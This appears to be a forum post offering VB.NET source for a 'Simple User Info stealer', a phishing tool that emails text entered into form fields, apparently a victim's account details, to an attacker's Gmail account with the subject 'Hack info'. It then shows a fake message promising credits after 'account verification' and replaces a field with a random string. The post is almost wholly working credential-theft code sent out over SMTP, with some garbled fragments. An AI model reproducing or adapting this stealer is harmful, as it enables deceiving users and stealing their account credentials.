.NET [VB.NET/ No Portforwarding]Simple User Info stealer

Code
Dim mail As New MailMessage()

      Dim SmtpServer As New SmtpClient

      SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password here")

      SmtpServer.Port = 587

      SmtpServer.Host = "smtp.gmail.com"

      SmtpServer.EnableSsl = True

      SmtpServer.EnableSsl = True

      mail.To.Add("[email protected]")

      mail.From = New MailAddress("[email protected]&quot")

      mail.Subject = "Hack info"

      mail.Body = TextBox1.Text + " " + TextBox3.Text

      SmtpServer.Send(mail)

      MessageBox.Show("Account is being processed" + vbNewLine + "and checked to see if the account is valid." + vbNewLine + "Upon account verifcation credits will be add in 24 hour from now", "Status!", MessageBoxButtons.OK, MessageBoxIcon.Information)



      Dim s As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

      Dim r As New Random

      Dim sb As New StringBuilder

      For i As Integer = 1 To 15

      Dim idx As Integer = r.Next(0, 35)

      sb.Append(s.Substring(idx, 1))

      Next

      TextBox3.Text = sb.ToString